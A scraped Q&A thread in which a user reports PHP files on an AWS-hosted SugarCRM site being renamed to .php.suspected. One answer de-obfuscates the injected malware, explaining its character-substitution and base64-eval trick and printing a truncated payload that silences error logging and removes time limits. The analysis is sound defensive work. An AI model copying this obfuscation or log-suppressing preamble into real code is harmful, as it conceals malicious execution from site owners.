php file automatically renamed to php.suspected

后端 未结 4 1930
终归单人心
终归单人心 2021-01-02 00:19

Since last 4 days, we are facing strange issue on our Production server (AWS EC2 instance) specific to only one site which is SugarCRM.

Issue is /home/site_f

4条回答
  •  误落风尘
    2021-01-02 00:52

    It's somewhat obfuscated, but I've de-obfuscated it.The function flnftovr takes a string and an array as arguments. It creates a new string $ggy using the formula

    isset($array[$string[$i]]) ? $array[$string[$i]] : $string[$i];}
    

    It then preppends base64_decode to the string.

    The string is $s, the array is $koicev. It then evals the result of this manipulation. So eventually a string gets created:

    base64_decode(QGluaV9zZXQoJ2Vycm9yX2xvZycsIE5VTEwpOwpAaW5pX3NldCgnbG9nX2Vycm9ycycsIDApOwpAaW5pX3NldCgnbWF4X2V4ZWN1dGlvbl90aW1lJywgMCk7CkBzZXRfdGltZV9saW1pdCgwKTsKCmlmKGlzc2V0KCRfU0VSVkVSKfZW5jb2RlKHNlcmlhbGl6ZSgkcmVzKSk7Cn0=)
    

    So what actually gets run on your server is:

    @ini_set('error_log', NULL);
    @ini_set('log_errors', 0);
    @ini_set('max_execution_time', 0);
    @set_time_limit(0);
    
    if(isset($_SERVER)
    encode(serialize($res));
    }
    

    If you didn't create this and you suspect your site has been hacked, I'd suggest you wipe the server, and create a new installation of whatever apps are running on your server.

提交回复
热议问题